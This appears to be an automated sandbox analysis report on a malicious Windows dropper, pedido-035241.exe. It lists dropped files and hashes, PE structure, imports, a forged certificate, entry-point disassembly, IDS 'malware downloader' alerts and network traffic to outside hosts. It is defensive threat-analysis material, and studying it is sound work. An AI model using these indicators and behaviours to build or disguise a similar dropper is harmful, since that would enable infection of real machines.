| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Flyvevaabnene\overcutter.txt
Download File
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 465 |
| Entropy (8bit): | 4.255544231677184 |
| Encrypted: | false |
| SSDEEP: | 12:ZR1EOIygKJPTYEO/OAOLkKARrQdNJdKiXkB9MOyFCZ60WgE:9xIyPtYEO/vlK6QUlE |
| MD5: | 2F8A39C6A08A57605F1965012760D560 |
| SHA1: | 4607DE528A646C0758D7FB322CF9CCFFAFA026B8 |
| SHA-256: | 37909462973046DA9CD15B9FB1CCD7F92D97C26AF08C83A8D486BA411DC69373 |
| SHA-512: | 0B2F239E494FCEE5D18812D98E3571F20B049CAF11CEA675CB55E95283A6E99E7A854DD87087EC5F7C402B7A7C760A1AB4B399EA17319C1F9249465E542E2D8D |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Flyvevaabnene\pedido-035241.exe 
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 1093536 |
| Entropy (8bit): | 7.971789372050483 |
| Encrypted: | false |
| SSDEEP: | 24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq |
| MD5: | 68AD57514CFB4E1CB4529556DBBC9B73 |
| SHA1: | 3681D090C965CD8AF1C7BFFD6FE5427E997DAA41 |
| SHA-256: | 4B0C3D89A63DC1F177379EA05642C3C3B377ADC560B26C7A41AEBD2ED1AFE9AC |
| SHA-512: | F2EF34F8AD5282676BDC3913007D471CC59E1BF20C5371817B3C85A2C24C19983D3C6C2F5E00BB539FC6596A0B02B4A33E59A4391A4165C22E0CBF2EDD103F5A |
| Malicious: | true |
| Antivirus: |
|
| Preview: |
C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Flyvevaabnene\pedido-035241.exe:Zone.Identifier
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 26 |
| Entropy (8bit): | 3.95006375643621 |
| Encrypted: | false |
| SSDEEP: | 3:ggPYV:rPYV |
| MD5: | 187F488E27DB4AF347237FE461A079AD |
| SHA1: | 6693BA299EC1881249D59262276A0D2CB21F8E64 |
| SHA-256: | 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309 |
| SHA-512: | 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Flyvevaabnene\tommelskruerne.afs
Download File
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2537825 |
| Entropy (8bit): | 0.15731061171505112 |
| Encrypted: | false |
| SSDEEP: | 768:ZfmQIC91KjqGcnL63MV1HZDQDVlybvFG7dH9Sf12lqM1FBQWEP3dNaRrwPu1Br0O:Rrc |
| MD5: | 6462B1502F14E3329E79F164F0B8EDA9 |
| SHA1: | 70F60B7634B75DAFA601D70E812D7127F4432AD3 |
| SHA-256: | 50852368EB9E21692315077EB7DD5E833B4430342695CFF4E70FEF7DF59DCFB7 |
| SHA-512: | 979F463C29EFDE5C746CE6A34B72DC064BDB9364702C5DB24B567E823B6992E076BDB160979330EDDDA03F9AE4EEB20FD1E656337A2654E43B3B36673820CF45 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 5657071 |
| Entropy (8bit): | 0.15928467329934035 |
| Encrypted: | false |
| SSDEEP: | 768:hia6UGQo5IgoTcs1teRMojkuNW52cfotYssiEfN5RJhDjTeYJNKUGQ0yyiJ+yDKJ:RLLXHTFL |
| MD5: | 7FD6A7B5493B8D6659842CBDAC26F759 |
| SHA1: | 59ECA4FEF3F72F17B4F87C647836AF1EE0B7B208 |
| SHA-256: | F38655E8753CF872BBC92F703C0A23F3CB35EFEA183296B92ADF3672A509162C |
| SHA-512: | C300E5599EB51D0862F806DF1C6274B0D59F75E41132F85C9E47F777CDD7B2E9B67C06BC033CD1FFE1C87A7EDD6B07D3E9DAD2D280EBAB1E22C7CA6291E881F5 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 108656 |
| Entropy (8bit): | 0.1629399370348107 |
| Encrypted: | false |
| SSDEEP: | 48:iM4xHhYyQjrwzEa24+rFK3q01Z2FdZe/Gbjd6Ne7GJ:duhYyQjcd++7KFdZKGAw |
| MD5: | ABD3958B383B1C9F43AC4E47DD12BEC4 |
| SHA1: | 4248CEAF77E8A46BBFA08FC14BDAB5428D7194F6 |
| SHA-256: | 30E7E92C51752F6CFD747EC30BF29792A819FDA586557B053FF141861BC3EA7B |
| SHA-512: | F6FE0761F4E15D9FCCCE230FCDFC77E95A259A014654FF94A600CBA120F222ED2085B6DC3CFEC7F21177137BD5136AC42894E113EAFD1D21659FF3F14316799B |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 297493 |
| Entropy (8bit): | 7.66304746887246 |
| Encrypted: | false |
| SSDEEP: | 6144:BNl6bDScMImLLF2H7D50y7+QL0vJ7xnne+c8/ZzAN:W7D50sN0/nneQhAN |
| MD5: | AC443ED3BCDA8FD27EAB8E4719631588 |
| SHA1: | 6E501A1D2959A2279C67FF2B635950B72C537DF8 |
| SHA-256: | 050E2941ABCF6621568720F75C7D27B1BC7B57F4A2DB95DD44701AAB68996042 |
| SHA-512: | F4E6440CECEE0B5C2197E1F77757501B45CFA1FB14389944B3F775E5611ACCF946A1D6625E8758592636F26F05F41AED7309DE4B6CAE22CB1A3B8D18730DF69C |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 6429709 |
| Entropy (8bit): | 0.15806775405645646 |
| Encrypted: | false |
| SSDEEP: | 768:VNOwnrRrLv7/6Ngd/3fk7lv70zCxVdw2J+bxTylmmf13Y2jmVnc+1dHiqkGAr/EA:vGD8vB |
| MD5: | F4FF9F83B617854EAA4804F4499C7538 |
| SHA1: | C93182B840EBDDB4A16EF90F1B0AE26DC1562FBA |
| SHA-256: | AFA03D58592E5BE1ADF5E352A40CE899BC707BB40CC6CD1EF5930E6302A94C18 |
| SHA-512: | 2E5C29BD767EEA4939A4B82CD7DD6EC323255D9046D96CE2C1931D617D125AB96ABC1F4B5444097A3A8085356FB7BD894A5C9769710B67823228BD1C371CF756 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 7637195 |
| Entropy (8bit): | 0.1584950093042192 |
| Encrypted: | false |
| SSDEEP: | 768:DASGeKc+zkfELL9UhjwNNoVJ2zV7S9OrvkoAaqV6zoPv2WHiirTgQKUIZsrj6ZzL:gXK+k |
| MD5: | EB71C6BE6D08F8A7C7C9DA1335DF04C1 |
| SHA1: | 7B57A40E3F6C44178A25EF465C3E7F5EA3184335 |
| SHA-256: | D1D5BFF683EDC3A076382FCFE8C8A28EA1FF6A1C7731A80BAB8FFF0E82A54D07 |
| SHA-512: | 5ED43E9E6A66F981DEEC765A13A361BCCEFE4E1A38C6847F9DB00F2ED1BF50497E36B6D5398190FB2CB0B191E4DA33A77C7378CDB446169941C84776D7406A48 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 71316 |
| Entropy (8bit): | 5.170339565453029 |
| Encrypted: | false |
| SSDEEP: | 1536:5AWJySdBBOLUqUdlpBo5ZbTOAVAvF17f1XqkWU7UqmBEZELVunMzinv:Rp7eUMaAVAvFZf1XAU7UaEpMv |
| MD5: | 5C166AC0DF5B33D27A3157FF3484B1D8 |
| SHA1: | 14F38AE3F4ED43AB6F47CAD5859E4494408092C5 |
| SHA-256: | C1203A1FC75A7592B8916F61C403CA3EEBED1B1D84CD3C7EAA89187EE665229C |
| SHA-512: | 89A6E8A42AC4FC4B8618C3E79300126E49128C238E91F557A573EDD7905A8FB35CB601E422B0A55EE74CCBB274E228314CF27741E8B3B70B532D3980328E89B1 |
| Malicious: | true |
| Preview: |
| Process: | C:\Users\user\Desktop\pedido-035241.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 7168 |
| Entropy (8bit): | 5.298362543684714 |
| Encrypted: | false |
| SSDEEP: | 96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW |
| MD5: | 675C4948E1EFC929EDCABFE67148EDDD |
| SHA1: | F5BDD2C4329ED2732ECFE3423C3CC482606EB28E |
| SHA-256: | 1076CA39C449ED1A968021B76EF31F22A5692DFAFEEA29460E8D970A63C59906 |
| SHA-512: | 61737021F86F54279D0A4E35DB0D0808E9A55D89784A31D597F2E4B65B7BBEEC99AA6C79D65258259130EEDA2E5B2820F4F1247777A3010F2DC53E30C612A683 |
| Malicious: | false |
| Antivirus: |
|
| Joe Sandbox View: |
|
| Preview: |
| File type: | |
| Entropy (8bit): | 7.971789372050483 |
| TrID: |
|
| File name: | pedido-035241.exe |
| File size: | 1'093'536 bytes |
| MD5: | 68ad57514cfb4e1cb4529556dbbc9b73 |
| SHA1: | 3681d090c965cd8af1c7bffd6fe5427e997daa41 |
| SHA256: | 4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac |
| SHA512: | f2ef34f8ad5282676bdc3913007d471cc59e1bf20c5371817b3c85a2c24c19983d3c6c2f5e00bb539fc6596a0b02b4a33e59a4391a4165c22e0cbf2edd103f5a |
| SSDEEP: | 24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq |
| TLSH: | C0352305A2F2D873E1A64F77E53664F102ED6D22C131573F0312BF59BEB6262682D322 |
| File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................f...*..... |
 | |
| Icon Hash: | 4e33695d030a3f39 |
| Entrypoint: | 0x4034f7 |
| Entrypoint Section: | .text |
| Digitally signed: | true |
| Imagebase: | 0x400000 |
| Subsystem: | windows gui |
| Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
| DLL Characteristics: | DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
| Time Stamp: | 0x614F9AE5 [Sat Sep 25 21:55:49 2021 UTC] |
| TLS Callbacks: | |
| CLR (.Net) Version: | |
| OS Version Major: | 4 |
| OS Version Minor: | 0 |
| File Version Major: | 4 |
| File Version Minor: | 0 |
| Subsystem Version Major: | 4 |
| Subsystem Version Minor: | 0 |
| Import Hash: | 56a78d55f3f7af51443e58e0ce2fb5f6 |
| Signature Valid: | false |
| Signature Issuer: | CN=stivskrt, E=Oatenmeal@Proctorizes.Shr, O=stivskrt, L=Ruddington, OU="Welshed Imaginativeness ", S=England, C=GB |
| Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
| Error Number: | -2146762487 |
| Not Before, Not After |
|
| Subject Chain |
|
| Version: | 3 |
| Thumbprint MD5: | 1686CA22A771496CECDFB312C0D27C52 |
| Thumbprint SHA-1: | E21A3845E81F6C435D6F565C89412C3DF95099FF |
| Thumbprint SHA-256: | D98B842E22A158CE3E857D75245136394E465213FA5EB6BC37BD421E8B04313F |
| Serial: | 2C6F4DE977A317E40EE4F92F6507FAC9DCA57440 |
| Instruction |
|---|
| push ebp |
| mov ebp, esp |
| sub esp, 000003F4h |
| push ebx |
| push esi |
| push edi |
| push 00000020h |
| pop edi |
| xor ebx, ebx |
| push 00008001h |
| mov dword ptr [ebp-14h], ebx |
| mov dword ptr [ebp-04h], 0040A2E0h |
| mov dword ptr [ebp-10h], ebx |
| call dword ptr [004080CCh] |
| mov esi, dword ptr [004080D0h] |
| lea eax, dword ptr [ebp-00000140h] |
| push eax |
| mov dword ptr [ebp-0000012Ch], ebx |
| mov dword ptr [ebp-2Ch], ebx |
| mov dword ptr [ebp-28h], ebx |
| mov dword ptr [ebp-00000140h], 0000011Ch |
| call esi |
| test eax, eax |
| jne 00007FD85CF54B9Ah |
| lea eax, dword ptr [ebp-00000140h] |
| mov dword ptr [ebp-00000140h], 00000114h |
| push eax |
| call esi |
| mov ax, word ptr [ebp-0000012Ch] |
| mov ecx, dword ptr [ebp-00000112h] |
| sub ax, 00000053h |
| add ecx, FFFFFFD0h |
| neg ax |
| sbb eax, eax |
| mov byte ptr [ebp-26h], 00000004h |
| not eax |
| and eax, ecx |
| mov word ptr [ebp-2Ch], ax |
| cmp dword ptr [ebp-0000013Ch], 0Ah |
| jnc 00007FD85CF54B6Ah |
| and word ptr [ebp-00000132h], 0000h |
| mov eax, dword ptr [ebp-00000134h] |
| movzx ecx, byte ptr [ebp-00000138h] |
| mov dword ptr [0042A2D8h], eax |
| xor eax, eax |
| mov ah, byte ptr [ebp-0000013Ch] |
| movzx eax, ax |
| or eax, ecx |
| xor ecx, ecx |
| mov ch, byte ptr [ebp-2Ch] |
| movzx ecx, cx |
| shl eax, 10h |
| or eax, ecx |
| Programming Language: |
|
| Name | Virtual Address | Virtual Size | Is in Section |
|---|---|---|---|
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IMPORT | 0x8504 | 0xa0 | .rdata |
| IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x54000 | 0x159b8 | .rsrc |
| IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_SECURITY | 0x10a880 | 0x720 | |
| IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IAT | 0x8000 | 0x2b0 | .rdata |
| IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
| Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
|---|---|---|---|---|---|---|---|---|---|
| .text | 0x1000 | 0x6515 | 0x6600 | 26e66bea3b62728a217ae7bf343ebc1a | False | 0.6615349264705882 | data | 6.439707948554623 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
| .rdata | 0x8000 | 0x139a | 0x1400 | 691f0273dad50ec603f6fedf850b58ee | False | 0.45 | data | 5.145774564074664 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| .data | 0xa000 | 0x20338 | 0x600 | 4b75405561a3fcc45b8fe27a6808f3b5 | False | 0.4993489583333333 | data | 4.013698650446401 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .ndata | 0x2b000 | 0x29000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .rsrc | 0x54000 | 0x159b8 | 0x15a00 | 99e35a8b4499e294dd3cd1daedb48858 | False | 0.8200754154624278 | data | 7.353353976387772 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
|---|---|---|---|---|---|---|
| RT_ICON | 0x54418 | 0x9e8c | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9934217009953681 |
| RT_ICON | 0x5e2a8 | 0x3344 | PNG image data, 256 x 256, 8-bit colormap, non-interlaced | English | United States | 0.9758457787259982 |
| RT_ICON | 0x615f0 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.41275933609958504 |
| RT_ICON | 0x63b98 | 0x1743 | PNG image data, 256 x 256, 4-bit colormap, non-interlaced | English | United States | 0.9952980688497062 |
| RT_ICON | 0x652e0 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.4580206378986867 |
| RT_ICON | 0x66388 | 0xea8 | Device independent bitmap graphic, 48 x 96 x 8, image size 2304 | English | United States | 0.5692963752665245 |
| RT_ICON | 0x67230 | 0x8a8 | Device independent bitmap graphic, 32 x 64 x 8, image size 1024 | English | United States | 0.6601985559566786 |
| RT_ICON | 0x67ad8 | 0x668 | Device independent bitmap graphic, 48 x 96 x 4, image size 1152 | English | United States | 0.5 |
| RT_ICON | 0x68140 | 0x568 | Device independent bitmap graphic, 16 x 32 x 8, image size 256 | English | United States | 0.5238439306358381 |
| RT_ICON | 0x686a8 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.6063829787234043 |
| RT_ICON | 0x68b10 | 0x2e8 | Device independent bitmap graphic, 32 x 64 x 4, image size 512 | English | United States | 0.6747311827956989 |
| RT_ICON | 0x68df8 | 0x128 | Device independent bitmap graphic, 16 x 32 x 4, image size 128 | English | United States | 0.8074324324324325 |
| RT_DIALOG | 0x68f20 | 0x100 | data | English | United States | 0.5234375 |
| RT_DIALOG | 0x69020 | 0x11c | data | English | United States | 0.6056338028169014 |
| RT_DIALOG | 0x69140 | 0xc4 | data | English | United States | 0.5918367346938775 |
| RT_DIALOG | 0x69208 | 0x60 | data | English | United States | 0.7291666666666666 |
| RT_GROUP_ICON | 0x69268 | 0xae | data | English | United States | 0.632183908045977 |
| RT_VERSION | 0x69318 | 0x274 | data | English | United States | 0.47611464968152867 |
| RT_MANIFEST | 0x69590 | 0x423 | XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators | English | United States | 0.5127478753541076 |
| DLL | Import |
|---|---|
| ADVAPI32.dll | RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW |
| SHELL32.dll | SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW |
| ole32.dll | OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree |
| COMCTL32.dll | ImageList_Create, ImageList_Destroy, ImageList_AddMasked |
| USER32.dll | GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu |
| GDI32.dll | SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject |
| KERNEL32.dll | GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW |
| Language of compilation system | Country where language is spoken | Map |
|---|---|---|
| English | United States |  |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-16T16:33:19.318083+0100 | 2803270 | ETPRO MALWARE Common Downloader Header Pattern UHCa | 2 | 192.168.2.4 | 49778 | 172.217.19.174 | 443 | TCP |
| 2024-12-16T16:33:27.235984+0100 | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 2 | 192.168.2.4 | 49800 | 193.122.6.168 | 80 | TCP |
| 2024-12-16T16:33:30.173513+0100 | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 2 | 192.168.2.4 | 49800 | 193.122.6.168 | 80 | TCP |
| 2024-12-16T16:33:31.824733+0100 | 2803305 | ETPRO MALWARE Common Downloader Header Pattern H | 3 | 192.168.2.4 | 49812 | 104.21.67.152 | 443 | TCP |
| 2024-12-16T16:33:33.267532+0100 | 2803274 | ETPRO MALWARE Common Downloader Header Pattern UH | 2 | 192.168.2.4 | 49818 | 193.122.6.168 | 80 | TCP |
| 2024-12-16T16:33:38.136504+0100 | 2803305 | ETPRO MALWARE Common Downloader Header Pattern H | 3 | 192.168.2.4 | 49831 | 104.21.67.152 | 443 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 16, 2024 16:33:16.693512917 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:16.693587065 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:16.693701982 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:16.704690933 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:16.704722881 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:18.410638094 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:18.410752058 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:18.411727905 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:18.411806107 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:18.463960886 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:18.464015007 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:18.464896917 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:18.464987040 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:18.468720913 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:18.511383057 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.318170071 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.318260908 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.318299055 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.318350077 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.318356991 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.318408966 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.318536997 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.318553925 CET | 443 | 49778 | 172.217.19.174 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.318568945 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.318605900 CET | 49778 | 443 | 192.168.2.4 | 172.217.19.174 |
| Dec 16, 2024 16:33:19.476660013 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:19.476702929 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.476808071 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:19.477196932 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:19.477210999 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:21.189743996 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:21.189897060 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:21.197345018 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:21.197365999 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:21.197771072 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:21.197859049 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:21.198513985 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:21.243338108 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.216475964 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.216713905 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.229384899 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.229494095 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
